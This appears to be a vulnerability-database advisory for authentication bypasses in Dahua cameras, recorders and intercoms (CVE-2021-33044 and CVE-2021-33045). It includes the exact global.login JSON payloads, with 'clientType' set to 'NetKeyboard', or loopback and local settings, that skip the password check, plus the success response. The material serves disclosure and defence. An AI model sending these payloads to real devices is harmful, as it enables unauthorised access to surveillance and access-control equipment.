Vulnerability from fkie_nvd
Published

Modified
2024-11-21 04:52
Severity ?
Summary
Dahua devices with Build time before December 2019 use strong security login mode by default, but in order to be compatible with the normal login of early devices, some devices retain the weak security login mode that users can control. If the user uses a weak security login method, an attacker can monitor the device network to intercept network packets to attack the device. So it is recommended that the user disable this login method.

Summary
Dahua devices with Build time before December 2019 use strong security login mode by default, but in order to be compatible with the normal login of early devices, some devices retain the weak security login mode that users can control. If the user uses a weak security login method, an attacker can monitor the device network to intercept network packets to attack the device. So it is recommended that the user disable this login method.

-=[NetKeyboard Vulnerability]=-
CVE-2021-33044
Vulnerability: "clientType": "NetKeyboard", Vulnerable device types: IPC/VTH/VTO (tested) Vulnerable Firmware: Those devices who do not support "NetKeyboard" functionality (older than June 2021) Protocol: DHIP and HTTP/HTTPS
Details: Setting above "Vulnerability" on "Vulnerable device types" during 1st or 2nd "global.login" sequence will simply bypass authentication.
Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":
[Example] { "method": "global.login", "params": { "userName": "admin", "loginType": "Direct", "clientType": "NetKeyboard", "authorityType": "Default", "passwordType": "Default", "password": "Not Used" }, "id": 1, "session": 0 }
-=[Loopback Vulnerability]=-
CVE-2021-33045
Vulnerability: "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local",
Vulnerable device types: IPC/VTH/VTO/NVR/DVR (tested) Vulnerable Firmware: Firmware version older than beginning/mid 2020. Protocol: DHIP
Details: Setting above "Vulnerability" on "Vulnerable device types" during 1st or 2nd "global.login" sequence pretends that the login request comes from "loopback" and will therefore bypass legitimate authentication.
Successful bypass returns: {"id":1,"params":{"keepAliveInterval":60},"result":true,"session":
[Example] Random MD5 with l/p: admin/admin { "method": "global.login", "params": { "userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Loopback", "clientType": "Local", "authorityType": "Default", "passwordType": "Default", "password": "[REDACTED]" }, "id": 1, "session": 0 }
